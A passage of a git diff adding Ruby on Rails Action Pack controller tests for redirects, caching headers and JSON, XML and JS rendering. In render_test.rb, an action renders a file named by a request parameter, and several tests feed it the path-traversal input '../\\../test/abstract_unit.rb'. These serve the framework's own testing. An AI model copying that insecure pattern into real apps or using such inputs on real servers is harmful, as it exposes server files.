+          get ":controller/:action"
+        end
+      end
+
+      get :redirect_to_existing_record
+      assert_equal "http://test.host/workshops/5", redirect_to_url
+      assert_redirected_to Workshop.new(5)
+
+      get :redirect_to_new_record
+      assert_equal "http://test.host/workshops", redirect_to_url
+      assert_redirected_to Workshop.new(nil)
+    end
+  end
+
+  def test_redirect_to_nil
+    error = assert_raise(ActionController::ActionControllerError) do
+      get :redirect_to_nil
+    end
+    assert_equal "Cannot redirect to nil!", error.message
+  end
+
+  def test_redirect_to_params
+    error = assert_raise(ActionController::UnfilteredParameters) do
+      get :redirect_to_params
+    end
+    assert_equal "unable to convert unpermitted parameters to hash", error.message
+  end
+
+  def test_redirect_to_with_block
+    get :redirect_to_with_block
+    assert_response :redirect
+    assert_redirected_to "http://www.rubyonrails.org/"
+  end
+
+  def test_redirect_to_with_block_and_assigns
+    get :redirect_to_with_block_and_assigns
+    assert_response :redirect
+    assert_redirected_to "http://www.rubyonrails.org/"
+  end
+
+  def test_redirect_to_with_block_and_accepted_options
+    with_routing do |set|
+      set.draw do
+        ActiveSupport::Deprecation.silence do
+          get ":controller/:action"
+        end
+      end
+
+      get :redirect_to_with_block_and_options
+
+      assert_response :redirect
+      assert_redirected_to "http://test.host/redirect/hello_world"
+    end
+  end
+end
+
+module ModuleTest
+  class ModuleRedirectController < ::RedirectController
+    def module_redirect
+      redirect_to controller: "/redirect", action: "hello_world"
+    end
+  end
+
+  class ModuleRedirectTest < ActionController::TestCase
+    tests ModuleRedirectController
+
+    def test_simple_redirect
+      get :simple_redirect
+      assert_response :redirect
+      assert_equal "http://test.host/module_test/module_redirect/hello_world", redirect_to_url
+    end
+
+    def test_simple_redirect_using_options
+      get :host_redirect
+      assert_response :redirect
+      assert_redirected_to action: "other_host", only_path: false, host: "other.test.host"
+    end
+
+    def test_module_redirect
+      get :module_redirect
+      assert_response :redirect
+      assert_equal "http://test.host/redirect/hello_world", redirect_to_url
+    end
+
+    def test_module_redirect_using_options
+      get :module_redirect
+      assert_response :redirect
+      assert_redirected_to controller: "/redirect", action: "hello_world"
+    end
+  end
+end
diff --git a/actionpack/test/controller/render_js_test.rb b/actionpack/test/controller/render_js_test.rb
new file mode 100644
index 0000000000..1efc0b9de1
--- /dev/null
+++ b/actionpack/test/controller/render_js_test.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "controller/fake_models"
+require "pathname"
+
+class RenderJSTest < ActionController::TestCase
+  class TestController < ActionController::Base
+    protect_from_forgery
+
+    def self.controller_path
+      "test"
+    end
+
+    def render_vanilla_js_hello
+      render js: "alert('hello')"
+    end
+
+    def show_partial
+      render partial: "partial"
+    end
+  end
+
+  tests TestController
+
+  def test_render_vanilla_js
+    get :render_vanilla_js_hello, xhr: true
+    assert_equal "alert('hello')", @response.body
+    assert_equal "text/javascript", @response.content_type
+  end
+
+  def test_should_render_js_partial
+    get :show_partial, format: "js", xhr: true
+    assert_equal "partial js", @response.body
+  end
+end
diff --git a/actionpack/test/controller/render_json_test.rb b/actionpack/test/controller/render_json_test.rb
new file mode 100644
index 0000000000..82c1ba26cb
--- /dev/null
+++ b/actionpack/test/controller/render_json_test.rb
@@ -0,0 +1,137 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "controller/fake_models"
+require "active_support/logger"
+require "pathname"
+
+class RenderJsonTest < ActionController::TestCase
+  class JsonRenderable
+    def as_json(options = {})
+      hash = { a: :b, c: :d, e: :f }
+      hash.except!(*options[:except]) if options[:except]
+      hash
+    end
+
+    def to_json(options = {})
+      super except: [:c, :e]
+    end
+  end
+
+  class TestController < ActionController::Base
+    protect_from_forgery
+
+    def self.controller_path
+      "test"
+    end
+
+    def render_json_nil
+      render json: nil
+    end
+
+    def render_json_render_to_string
+      render plain: render_to_string(json: "[]")
+    end
+
+    def render_json_hello_world
+      render json: ActiveSupport::JSON.encode(hello: "world")
+    end
+
+    def render_json_hello_world_with_status
+      render json: ActiveSupport::JSON.encode(hello: "world"), status: 401
+    end
+
+    def render_json_hello_world_with_callback
+      render json: ActiveSupport::JSON.encode(hello: "world"), callback: "alert"
+    end
+
+    def render_json_with_custom_content_type
+      render json: ActiveSupport::JSON.encode(hello: "world"), content_type: "text/javascript"
+    end
+
+    def render_symbol_json
+      render json: ActiveSupport::JSON.encode(hello: "world")
+    end
+
+    def render_json_with_render_to_string
+      render json: { hello: render_to_string(partial: "partial") }
+    end
+
+    def render_json_with_extra_options
+      render json: JsonRenderable.new, except: [:c, :e]
+    end
+
+    def render_json_without_options
+      render json: JsonRenderable.new
+    end
+  end
+
+  tests TestController
+
+  def setup
+    # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
+    # a more accurate simulation of what happens in "real life".
+    super
+    @controller.logger = ActiveSupport::Logger.new(nil)
+
+    @request.host = "www.nextangle.com"
+  end
+
+  def test_render_json_nil
+    get :render_json_nil
+    assert_equal "null", @response.body
+    assert_equal "application/json", @response.content_type
+  end
+
+  def test_render_json_render_to_string
+    get :render_json_render_to_string
+    assert_equal "[]", @response.body
+  end
+
+  def test_render_json
+    get :render_json_hello_world
+    assert_equal '{"hello":"world"}', @response.body
+    assert_equal "application/json", @response.content_type
+  end
+
+  def test_render_json_with_status
+    get :render_json_hello_world_with_status
+    assert_equal '{"hello":"world"}', @response.body
+    assert_equal 401, @response.status
+  end
+
+  def test_render_json_with_callback
+    get :render_json_hello_world_with_callback, xhr: true
+    assert_equal '/**/alert({"hello":"world"})', @response.body
+    assert_equal "text/javascript", @response.content_type
+  end
+
+  def test_render_json_with_custom_content_type
+    get :render_json_with_custom_content_type, xhr: true
+    assert_equal '{"hello":"world"}', @response.body
+    assert_equal "text/javascript", @response.content_type
+  end
+
+  def test_render_symbol_json
+    get :render_symbol_json
+    assert_equal '{"hello":"world"}', @response.body
+    assert_equal "application/json", @response.content_type
+  end
+
+  def test_render_json_with_render_to_string
+    get :render_json_with_render_to_string
+    assert_equal '{"hello":"partial html"}', @response.body
+    assert_equal "application/json", @response.content_type
+  end
+
+  def test_render_json_forwards_extra_options
+    get :render_json_with_extra_options
+    assert_equal '{"a":"b"}', @response.body
+    assert_equal "application/json", @response.content_type
+  end
+
+  def test_render_json_calls_to_json_from_object
+    get :render_json_without_options
+    assert_equal '{"a":"b"}', @response.body
+  end
+end
diff --git a/actionpack/test/controller/render_test.rb b/actionpack/test/controller/render_test.rb
new file mode 100644
index 0000000000..3619afc513
--- /dev/null
+++ b/actionpack/test/controller/render_test.rb
@@ -0,0 +1,810 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "controller/fake_models"
+
+class TestControllerWithExtraEtags < ActionController::Base
+  def self.controller_name; "test"; end
+  def self.controller_path; "test"; end
+
+  etag { nil  }
+  etag { "ab" }
+  etag { :cde }
+  etag { [:f] }
+  etag { nil  }
+
+  def fresh
+    render plain: "stale" if stale?(etag: "123", template: false)
+  end
+
+  def array
+    render plain: "stale" if stale?(etag: %w(1 2 3), template: false)
+  end
+
+  def strong
+    render plain: "stale" if stale?(strong_etag: "strong", template: false)
+  end
+
+  def with_template
+    if stale? template: "test/hello_world"
+      render plain: "stale"
+    end
+  end
+
+  def with_implicit_template
+    fresh_when(etag: "123")
+  end
+end
+
+class ImplicitRenderTestController < ActionController::Base
+  def empty_action
+  end
+
+  def empty_action_with_template
+  end
+end
+
+module Namespaced
+  class ImplicitRenderTestController < ActionController::Base
+    def hello_world
+      fresh_when(etag: "abc")
+    end
+  end
+end
+
+class TestController < ActionController::Base
+  protect_from_forgery
+
+  before_action :set_variable_for_layout
+
+  class LabellingFormBuilder < ActionView::Helpers::FormBuilder
+  end
+
+  layout :determine_layout
+
+  def name
+    nil
+  end
+
+  private :name
+  helper_method :name
+
+  def hello_world
+  end
+
+  def conditional_hello
+    if stale?(last_modified: Time.now.utc.beginning_of_day, etag: [:foo, 123])
+      render action: "hello_world"
+    end
+  end
+
+  def conditional_hello_with_record
+    record = Struct.new(:updated_at, :cache_key).new(Time.now.utc.beginning_of_day, "foo/123")
+
+    if stale?(record)
+      render action: "hello_world"
+    end
+  end
+
+  def dynamic_render
+    render params[:id] # => String, AC::Params
+  end
+
+  def dynamic_render_permit
+    render params[:id].permit(:file)
+  end
+
+  def dynamic_render_with_file
+    # This is extremely bad, but should be possible to do.
+    file = params[:id] # => String, AC::Params
+    render file: file
+  end
+
+  class Collection
+    def initialize(records)
+      @records = records
+    end
+
+    def maximum(attribute)
+      @records.max_by(&attribute).public_send(attribute)
+    end
+  end
+
+  def conditional_hello_with_collection_of_records
+    ts = Time.now.utc.beginning_of_day
+
+    record = Struct.new(:updated_at, :cache_key).new(ts, "foo/123")
+    old_record = Struct.new(:updated_at, :cache_key).new(ts - 1.day, "bar/123")
+
+    if stale?(Collection.new([record, old_record]))
+      render action: "hello_world"
+    end
+  end
+
+  def conditional_hello_with_expires_in
+    expires_in 60.1.seconds
+    render action: "hello_world"
+  end
+
+  def conditional_hello_with_expires_in_with_public
+    expires_in 1.minute, public: true
+    render action: "hello_world"
+  end
+
+  def conditional_hello_with_expires_in_with_must_revalidate
+    expires_in 1.minute, must_revalidate: true
+    render action: "hello_world"
+  end
+
+  def conditional_hello_with_expires_in_with_public_and_must_revalidate
+    expires_in 1.minute, public: true, must_revalidate: true
+    render action: "hello_world"
+  end
+
+  def conditional_hello_with_expires_in_with_public_with_more_keys
+    expires_in 1.minute, :public => true, "s-maxage" => 5.hours
+    render action: "hello_world"
+  end
+
+  def conditional_hello_with_expires_in_with_public_with_more_keys_old_syntax
+    expires_in 1.minute, :public => true, :private => nil, "s-maxage" => 5.hours
+    render action: "hello_world"
+  end
+
+  def conditional_hello_with_expires_now
+    expires_now
+    render action: "hello_world"
+  end
+
+  def conditional_hello_with_cache_control_headers
+    response.headers["Cache-Control"] = "no-transform"
+    expires_now
+    render action: "hello_world"
+  end
+
+  def conditional_hello_with_bangs
+    render action: "hello_world"
+  end
+  before_action :handle_last_modified_and_etags, only: :conditional_hello_with_bangs
+
+  def handle_last_modified_and_etags
+    fresh_when(last_modified: Time.now.utc.beginning_of_day, etag: [ :foo, 123 ])
+  end
+
+  def head_created
+    head :created
+  end
+
+  def head_created_with_application_json_content_type
+    head :created, content_type: "application/json"
+  end
+
+  def head_ok_with_image_png_content_type
+    head :ok, content_type: "image/png"
+  end
+
+  def head_with_location_header
+    head :ok, location: "/foo"
+  end
+
+  def head_with_location_object
+    head :ok, location: Customer.new("david", 1)
+  end
+
+  def head_with_symbolic_status
+    head params[:status].intern
+  end
+
+  def head_with_integer_status
+    head params[:status].to_i
+  end
+
+  def head_with_string_status
+    head params[:status]
+  end
+
+  def head_with_custom_header
+    head :ok, x_custom_header: "something"
+  end
+
+  def head_with_www_authenticate_header
+    head :ok, "WWW-Authenticate" => "something"
+  end
+
+  def head_with_status_code_first
+    head :forbidden, x_custom_header: "something"
+  end
+
+  def head_and_return
+    head(:ok) && return
+    raise "should not reach this line"
+  end
+
+  def head_with_no_content
+    # Fill in the headers with dummy data to make
+    # sure they get removed during the testing
+    response.headers["Content-Type"] = "dummy"
+    response.headers["Content-Length"] = 42
+
+    head 204
+  end
+
+  private
+
+    def set_variable_for_layout
+      @variable_for_layout = nil
+    end
+
+    def determine_layout
+      case action_name
+      when "hello_world", "layout_test", "rendering_without_layout",
+             "rendering_nothing_on_layout", "render_text_hello_world",
+             "render_text_hello_world_with_layout",
+             "hello_world_with_layout_false",
+             "partial_only", "accessing_params_in_template",
+             "accessing_params_in_template_with_layout",
+             "render_with_explicit_template",
+             "render_with_explicit_string_template",
+             "update_page", "update_page_with_instance_variables"
+
+        "layouts/standard"
+      when "action_talk_to_layout", "layout_overriding_layout"
+        "layouts/talk_from_action"
+      when "render_implicit_html_template_from_xhr_request"
+        (request.xhr? ? "layouts/xhr" : "layouts/standard")
+      end
+    end
+end
+
+module TemplateModificationHelper
+  private
+    def modify_template(name)
+      path = File.expand_path("../fixtures/#{name}.erb", __dir__)
+      original = File.read(path)
+      File.write(path, "#{original} Modified!")
+      ActionView::LookupContext::DetailsKey.clear
+      yield
+    ensure
+      File.write(path, original)
+    end
+end
+
+class MetalTestController < ActionController::Metal
+  include AbstractController::Rendering
+  include ActionView::Rendering
+  include ActionController::Rendering
+
+  def accessing_logger_in_template
+    render inline: "<%= logger.class %>"
+  end
+end
+
+class ExpiresInRenderTest < ActionController::TestCase
+  tests TestController
+
+  def setup
+    super
+    ActionController::Base.view_paths.paths.each(&:clear_cache)
+  end
+
+  def test_dynamic_render_with_file
+    # This is extremely bad, but should be possible to do.
+    assert File.exist?(File.expand_path("../../test/abstract_unit.rb", __dir__))
+    response = get :dynamic_render_with_file, params: { id: '../\\../test/abstract_unit.rb' }
+    assert_equal File.read(File.expand_path("../../test/abstract_unit.rb", __dir__)),
+      response.body
+  end
+
+  def test_dynamic_render_with_absolute_path
+    file = Tempfile.new("name")
+    file.write "secrets!"
+    file.flush
+    assert_raises ActionView::MissingTemplate do
+      get :dynamic_render, params: { id: file.path }
+    end
+  ensure
+    file.close
+    file.unlink
+  end
+
+  def test_dynamic_render
+    assert File.exist?(File.expand_path("../../test/abstract_unit.rb", __dir__))
+    assert_raises ActionView::MissingTemplate do
+      get :dynamic_render, params: { id: '../\\../test/abstract_unit.rb' }
+    end
+  end
+
+  def test_permitted_dynamic_render_file_hash
+    assert File.exist?(File.expand_path("../../test/abstract_unit.rb", __dir__))
+    response = get :dynamic_render_permit, params: { id: { file: '../\\../test/abstract_unit.rb' } }
+    assert_equal File.read(File.expand_path("../../test/abstract_unit.rb", __dir__)),
+      response.body
+  end
+
+  def test_dynamic_render_file_hash
+    assert_raises ArgumentError do
+      get :dynamic_render, params: { id: { file: '../\\../test/abstract_unit.rb' } }
+    end
+  end
+
+  def test_expires_in_header
+    get :conditional_hello_with_expires_in
+    assert_equal "max-age=60, private", @response.headers["Cache-Control"]
+  end
+
+  def test_expires_in_header_with_public
+    get :conditional_hello_with_expires_in_with_public
+    assert_equal "max-age=60, public", @response.headers["Cache-Control"]
+  end
+
+  def test_expires_in_header_with_must_revalidate
+    get :conditional_hello_with_expires_in_with_must_revalidate
+    assert_equal "max-age=60, private, must-revalidate", @response.headers["Cache-Control"]
+  end
+
+  def test_expires_in_header_with_public_and_must_revalidate
+    get :conditional_hello_with_expires_in_with_public_and_must_revalidate
+    assert_equal "max-age=60, public, must-revalidate", @response.headers["Cache-Control"]
+  end
+
+  def test_expires_in_header_with_additional_headers
+    get :conditional_hello_with_expires_in_with_public_with_more_keys
+    assert_equal "max-age=60, public, s-maxage=18000", @response.headers["Cache-Control"]
+  end
+
+  def test_expires_in_old_syntax
+    get :conditional_hello_with_expires_in_with_public_with_more_keys_old_syntax
+    assert_equal "max-age=60, public, s-maxage=18000", @response.headers["Cache-Control"]
+  end
+
+  def test_expires_now
+    get :conditional_hello_with_expires_now
+    assert_equal "no-cache", @response.headers["Cache-Control"]
+  end
+
+  def test_expires_now_with_cache_control_headers
+    get :conditional_hello_with_cache_control_headers
+    assert_match(/no-cache/, @response.headers["Cache-Control"])
+    assert_match(/no-transform/, @response.headers["Cache-Control"])
+  end
+
+  def test_date_header_when_expires_in
+    time = Time.mktime(2011, 10, 30)
+    Time.stub :now, time do
+      get :conditional_hello_with_expires_in
+      assert_equal Time.now.httpdate, @response.headers["Date"]
+    end
+  end
+end
+
+class LastModifiedRenderTest < ActionController::TestCase
+  tests TestController
+
+  def setup
+    super
+    @last_modified = Time.now.utc.beginning_of_day.httpdate
+  end
+
+  def test_responds_with_last_modified
+    get :conditional_hello
+    assert_equal @last_modified, @response.headers["Last-Modified"]
+  end
+
+  def test_request_not_modified
+    @request.if_modified_since = @last_modified
+    get :conditional_hello
+    assert_equal 304, @response.status.to_i
+    assert @response.body.blank?
+    assert_equal @last_modified, @response.headers["Last-Modified"]
+  end
+
+  def test_request_not_modified_but_etag_differs
+    @request.if_modified_since = @last_modified
+    @request.if_none_match = '"234"'
+    get :conditional_hello
+    assert_response :success
+  end
+
+  def test_request_modified
+    @request.if_modified_since = "Thu, 16 Jul 2008 00:00:00 GMT"
+    get :conditional_hello
+    assert_equal 200, @response.status.to_i
+    assert @response.body.present?
+    assert_equal @last_modified, @response.headers["Last-Modified"]
+  end
+
+  def test_responds_with_last_modified_with_record
+    get :conditional_hello_with_record
+    assert_equal @last_modified, @response.headers["Last-Modified"]
+  end
+
+  def test_request_not_modified_with_record
+    @request.if_modified_since = @last_modified
+    get :conditional_hello_with_record
+    assert_equal 304, @response.status.to_i
+    assert @response.body.blank?
+    assert_not_nil @response.etag
+    assert_equal @last_modified, @response.headers["Last-Modified"]
+  end
+
+  def test_request_not_modified_but_etag_differs_with_record
+    @request.if_modified_since = @last_modified
+    @request.if_none_match = '"234"'
+    get :conditional_hello_with_record
+    assert_response :success
+  end
+
+  def test_request_modified_with_record
+    @request.if_modified_since = "Thu, 16 Jul 2008 00:00:00 GMT"
+    get :conditional_hello_with_record
+    assert_equal 200, @response.status.to_i
+    assert @response.body.present?
+    assert_equal @last_modified, @response.headers["Last-Modified"]
+  end
+
+  def test_responds_with_last_modified_with_collection_of_records
+    get :conditional_hello_with_collection_of_records
+    assert_equal @last_modified, @response.headers["Last-Modified"]
+  end
+
+  def test_request_not_modified_with_collection_of_records
+    @request.if_modified_since = @last_modified
+    get :conditional_hello_with_collection_of_records
+    assert_equal 304, @response.status.to_i
+    assert @response.body.blank?
+    assert_equal @last_modified, @response.headers["Last-Modified"]
+  end
+
+  def test_request_not_modified_but_etag_differs_with_collection_of_records
+    @request.if_modified_since = @last_modified
+    @request.if_none_match = '"234"'
+    get :conditional_hello_with_collection_of_records
+    assert_response :success
+  end
+
+  def test_request_modified_with_collection_of_records
+    @request.if_modified_since = "Thu, 16 Jul 2008 00:00:00 GMT"
+    get :conditional_hello_with_collection_of_records
+    assert_equal 200, @response.status.to_i
+    assert @response.body.present?
+    assert_equal @last_modified, @response.headers["Last-Modified"]
+  end
+
+  def test_request_with_bang_gets_last_modified
+    get :conditional_hello_with_bangs
+    assert_equal @last_modified, @response.headers["Last-Modified"]
+    assert_response :success
+  end
+
+  def test_request_with_bang_obeys_last_modified
+    @request.if_modified_since = @last_modified
+    get :conditional_hello_with_bangs
+    assert_response :not_modified
+  end
+
+  def test_last_modified_works_with_less_than_too
+    @request.if_modified_since = 5.years.ago.httpdate
+    get :conditional_hello_with_bangs
+    assert_response :success
+  end
+end
+
+class EtagRenderTest < ActionController::TestCase
+  tests TestControllerWithExtraEtags
+  include TemplateModificationHelper
+
+  def test_strong_etag
+    @request.if_none_match = strong_etag(["strong", "ab", :cde, [:f]])
+    get :strong
+    assert_response :not_modified
+
+    @request.if_none_match = "*"
+    get :strong
+    assert_response :not_modified
+
+    @request.if_none_match = '"strong"'
+    get :strong
+    assert_response :ok
+
+    @request.if_none_match = weak_etag(["strong", "ab", :cde, [:f]])
+    get :strong
+    assert_response :ok
+  end
+
+  def test_multiple_etags
+    @request.if_none_match = weak_etag(["123", "ab", :cde, [:f]])
+    get :fresh
+    assert_response :not_modified
+
+    @request.if_none_match = %("nomatch")
+    get :fresh
+    assert_response :success
+  end
+
+  def test_array
+    @request.if_none_match = weak_etag([%w(1 2 3), "ab", :cde, [:f]])
+    get :array
+    assert_response :not_modified
+
+    @request.if_none_match = %("nomatch")
+    get :array
+    assert_response :success
+  end
+
+  def test_etag_reflects_template_digest
+    get :with_template
+    assert_response :ok
+    assert_not_nil etag = @response.etag
+
+    request.if_none_match = etag
+    get :with_template
+    assert_response :not_modified
+
+    modify_template("test/hello_world") do
+      request.if_none_match = etag
+      get :with_template
+      assert_response :ok
+      assert_not_equal etag, @response.etag
+    end
+  end
+
+  def test_etag_reflects_implicit_template_digest
+    get :with_implicit_template
+    assert_response :ok
+    assert_not_nil etag = @response.etag
+
+    request.if_none_match = etag
+    get :with_implicit_template
+    assert_response :not_modified
+
+    modify_template("test/with_implicit_template") do
+      request.if_none_match = etag
+      get :with_implicit_template
+      assert_response :ok
+      assert_not_equal etag, @response.etag
+    end
+  end
+
+  private
+    def weak_etag(record)
+      "W/#{strong_etag record}"
+    end
+
+    def strong_etag(record)
+      %("#{Digest::MD5.hexdigest(ActiveSupport::Cache.expand_cache_key(record))}")
+    end
+end
+
+class NamespacedEtagRenderTest < ActionController::TestCase
+  tests Namespaced::ImplicitRenderTestController
+  include TemplateModificationHelper
+
+  def test_etag_reflects_template_digest
+    get :hello_world
+    assert_response :ok
+    assert_not_nil etag = @response.etag
+
+    request.if_none_match = etag
+    get :hello_world
+    assert_response :not_modified
+
+    modify_template("namespaced/implicit_render_test/hello_world") do
+      request.if_none_match = etag
+      get :hello_world
+      assert_response :ok
+      assert_not_equal etag, @response.etag
+    end
+  end
+end
+
+class MetalRenderTest < ActionController::TestCase
+  tests MetalTestController
+
+  def test_access_to_logger_in_view
+    get :accessing_logger_in_template
+    assert_equal "NilClass", @response.body
+  end
+end
+
+class ActionControllerBaseRenderTest < ActionController::TestCase
+  def test_direct_render_to_string
+    ac = ActionController::Base.new()
+    assert_equal "Hello world!", ac.render_to_string(template: "test/hello_world")
+  end
+end
+
+class ImplicitRenderTest < ActionController::TestCase
+  tests ImplicitRenderTestController
+
+  def test_implicit_no_content_response_as_browser
+    assert_raises(ActionController::UnknownFormat) do
+      get :empty_action
+    end
+  end
+
+  def test_implicit_no_content_response_as_xhr
+    get :empty_action, xhr: true
+    assert_response :no_content
+  end
+
+  def test_implicit_success_response_with_right_format
+    get :empty_action_with_template
+    assert_equal "<h1>Empty action rendered this implicitly.</h1>\n", @response.body
+    assert_response :success
+  end
+
+  def test_implicit_unknown_format_response
+    assert_raises(ActionController::UnknownFormat) do
+      get :empty_action_with_template, format: "json"
+    end
+  end
+end
+
+class HeadRenderTest < ActionController::TestCase
+  tests TestController
+
+  def setup
+    @request.host = "www.nextangle.com"
+  end
+
+  def test_head_created
+    post :head_created
+    assert @response.body.blank?
+    assert_response :created
+  end
+
+  def test_head_created_with_application_json_content_type
+    post :head_created_with_application_json_content_type
+    assert @response.body.blank?
+    assert_equal "application/json", @response.header["Content-Type"]
+    assert_response :created
+  end
+
+  def test_head_ok_with_image_png_content_type
+    post :head_ok_with_image_png_content_type
+    assert @response.body.blank?
+    assert_equal "image/png", @response.header["Content-Type"]
+    assert_response :ok
+  end
+
+  def test_head_with_location_header
+    get :head_with_location_header
+    assert @response.body.blank?
+    assert_equal "/foo", @response.headers["Location"]
+    assert_response :ok
+  end
+
+  def test_head_with_location_object
+    with_routing do |set|
+      set.draw do
+        resources :customers
+
+        ActiveSupport::Deprecation.silence do
+          get ":controller/:action"
+        end
+      end
+
+      get :head_with_location_object
+      assert @response.body.blank?
+      assert_equal "http://www.nextangle.com/customers/1", @response.headers["Location"]
+      assert_response :ok
+    end
+  end
+
+  def test_head_with_custom_header
+    get :head_with_custom_header
+    assert @response.body.blank?
+    assert_equal "something", @response.headers["X-Custom-Header"]
+    assert_response :ok
+  end
+
+  def test_head_with_www_authenticate_header
+    get :head_with_www_authenticate_header
+    assert @response.body.blank?
+    assert_equal "something", @response.headers["WWW-Authenticate"]
+    assert_response :ok
+  end
+
+  def test_head_with_symbolic_status
+    get :head_with_symbolic_status, params: { status: "ok" }
+    assert_equal 200, @response.status
+    assert_response :ok
+
+    get :head_with_symbolic_status, params: { status: "not_found" }
+    assert_equal 404, @response.status
+    assert_response :not_found
+
+    get :head_with_symbolic_status, params: { status: "no_content" }
+    assert_equal 204, @response.status
+    assert_not_includes @response.headers, "Content-Length"
+    assert_response :no_content
+
+    Rack::Utils::SYMBOL_TO_STATUS_CODE.each do |status, code|
+      get :head_with_symbolic_status, params: { status: status.to_s }
+      assert_equal code, @response.response_code
+      assert_response status
+    end
+  end
+
+  def test_head_with_integer_status
+    Rack::Utils::HTTP_STATUS_CODES.each do |code, message|
+      get :head_with_integer_status, params: { status: code.to_s }
+      assert_equal message, @response.message
+    end
+  end
+
+  def test_head_with_no_content
+    get :head_with_no_content
+
+    assert_equal 204, @response.status
+    assert_nil @response.headers["Content-Type"]
+    assert_nil @response.headers["Content-Length"]
+  end
+
+  def test_head_with_string_status
+    get :head_with_string_status, params: { status: "404 Eat Dirt" }
+    assert_equal 404, @response.response_code
+    assert_equal "Not Found", @response.message
+    assert_response :not_found
+  end
+
+  def test_head_with_status_code_first
+    get :head_with_status_code_first
+    assert_equal 403, @response.response_code
+    assert_equal "Forbidden", @response.message
+    assert_equal "something", @response.headers["X-Custom-Header"]
+    assert_response :forbidden
+  end
+
+  def test_head_returns_truthy_value
+    assert_nothing_raised do
+      get :head_and_return
+    end
+  end
+end
+
+class HttpCacheForeverTest < ActionController::TestCase
+  class HttpCacheForeverController < ActionController::Base
+    def cache_me_forever
+      http_cache_forever(public: params[:public]) do
+        render plain: "hello"
+      end
+    end
+  end
+
+  tests HttpCacheForeverController
+
+  def test_cache_with_public
+    get :cache_me_forever, params: { public: true }
+    assert_response :ok
+    assert_equal "max-age=#{100.years}, public", @response.headers["Cache-Control"]
+    assert_not_nil @response.etag
+    assert @response.weak_etag?
+  end
+
+  def test_cache_with_private
+    get :cache_me_forever
+    assert_response :ok
+    assert_equal "max-age=#{100.years}, private", @response.headers["Cache-Control"]
+    assert_not_nil @response.etag
+    assert @response.weak_etag?
+  end
+
+  def test_cache_response_code_with_if_modified_since
+    get :cache_me_forever
+    assert_response :ok
+
+    @request.if_modified_since = @response.headers["Last-Modified"]
+    get :cache_me_forever
+    assert_response :not_modified
+  end
+
+  def test_cache_response_code_with_etag
+    get :cache_me_forever
+    assert_response :ok
+
+    @request.if_none_match = @response.etag
+    get :cache_me_forever
+    assert_response :not_modified
+  end
+end
diff --git a/actionpack/test/controller/render_xml_test.rb b/actionpack/test/controller/render_xml_test.rb
new file mode 100644
index 0000000000..a72d14e4bb
--- /dev/null
+++ b/actionpack/test/controller/render_xml_test.rb
@@ -0,0 +1,102 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "controller/fake_models"
+require "pathname"
+
+class RenderXmlTest < ActionController::TestCase
+  class XmlRenderable
+    def to_xml(options)
+      options[:root] ||= "i-am-xml"
+      "<#{options[:root]}/>"
+    end
+  end
+
+  class TestController < ActionController::Base
+    protect_from_forgery
+
+    def self.controller_path
+      "test"
+    end
+
+    def render_with_location
+      render xml: "<hello/>", location: "http://example.com", status: 201
+    end
+
+    def render_with_object_location
+      customer = Customer.new("Some guy", 1)
+      render xml: "<customer/>", location: customer, status: :created
+    end
+
+    def render_with_to_xml
+      render xml: XmlRenderable.new
+    end
+
+    def formatted_xml_erb
+    end
+
+    def render_xml_with_custom_content_type
+      render xml: "<blah/>", content_type: "application/atomsvc+xml"
+    end
+
+    def render_xml_with_custom_options
+      render xml: XmlRenderable.new, root: "i-am-THE-xml"
+    end
+  end
+
+  tests TestController
+
+  def setup
+    # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
+    # a more accurate simulation of what happens in "real life".
+    super
+    @controller.logger = ActiveSupport::Logger.new(nil)
+
+    @request.host = "www.nextangle.com"
+  end
+
+  def test_rendering_with_location_should_set_header
+    get :render_with_location
+    assert_equal "http://example.com", @response.headers["Location"]
+  end
+
+  def test_rendering_xml_should_call_to_xml_if_possible
+    get :render_with_to_xml
+    assert_equal "<i-am-xml/>", @response.body
+  end
+
+  def test_rendering_xml_should_call_to_xml_with_extra_options
+    get :render_xml_with_custom_options
+    assert_equal "<i-am-THE-xml/>", @response.body
+  end
+
+  def test_rendering_with_object_location_should_set_header_with_url_for
+    with_routing do |set|
+      set.draw do
+        resources :customers
+
+        ActiveSupport::Deprecation.silence do
+          get ":controller/:action"
+        end
+      end
+
+      get :render_with_object_location
+      assert_equal "http://www.nextangle.com/customers/1", @response.headers["Location"]
+    end
+  end
+
+  def test_should_render_formatted_xml_erb_template
+    get :formatted_xml_erb, format: :xml
+    assert_equal "<test>passed formatted xml erb</test>", @response.body
+  end
+
+  def test_should_render_xml_but_keep_custom_content_type
+    get :render_xml_with_custom_content_type
+    assert_equal "application/atomsvc+xml", @response.content_type
+  end
+
+  def test_should_use_implicit_content_type
+    get :implicit_content_type, format: "atom"
+    assert_equal Mime[:atom], @response.content_type
+  end
+end
diff --git a/actionpack/test/controller/renderer_test.rb b/actionpack/test/controller/renderer_test.rb
new file mode 100644
index 0000000000..ae8330e029
--- /dev/null
+++ b/actionpack/test/controller/renderer_test.rb
@@ -0,0 +1,136 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class RendererTest < ActiveSupport::TestCase
+  test "action controller base has a renderer" do
+    assert ActionController::Base.renderer
+  end
+
+  test "creating with a controller" do
+    controller = CommentsController
+    renderer   = ActionController::Renderer.for controller
+
+    assert_equal controller, renderer.controller
+  end
+
+  test "creating from a controller" do
+    controller = AccountsController
+    renderer   = controller.renderer
+
+    assert_equal controller, renderer.controller
+  end
+
+  test "creating with new defaults" do
+    renderer = ApplicationController.renderer
+
+    new_defaults = { https: true }
+    new_renderer = renderer.with_defaults(new_defaults).new
+    content = new_renderer.render(inline: "<%= request.ssl? %>")
+
+    assert_equal "true", content
+  end
+
+  test "rendering with a class renderer" do
+    renderer = ApplicationController.renderer
+    content  = renderer.render template: "ruby_template"
+
+    assert_equal "Hello from Ruby code", content
+  end
+
+  test "rendering with an instance renderer" do
+    renderer = ApplicationController.renderer.new
+    content  = renderer.render file: "test/hello_world"
+
+    assert_equal "Hello world!", content
+  end
+
+  test "rendering with a controller class" do
+    assert_equal "Hello world!", ApplicationController.render("test/hello_world")
+  end
+
+  test "rendering with locals" do
+    renderer = ApplicationController.renderer
+    content  = renderer.render template: "test/render_file_with_locals",
+                               locals: { secret: "bar" }
+
+    assert_equal "The secret is bar\n", content
+  end
+
+  test "rendering with assigns" do
+    renderer = ApplicationController.renderer
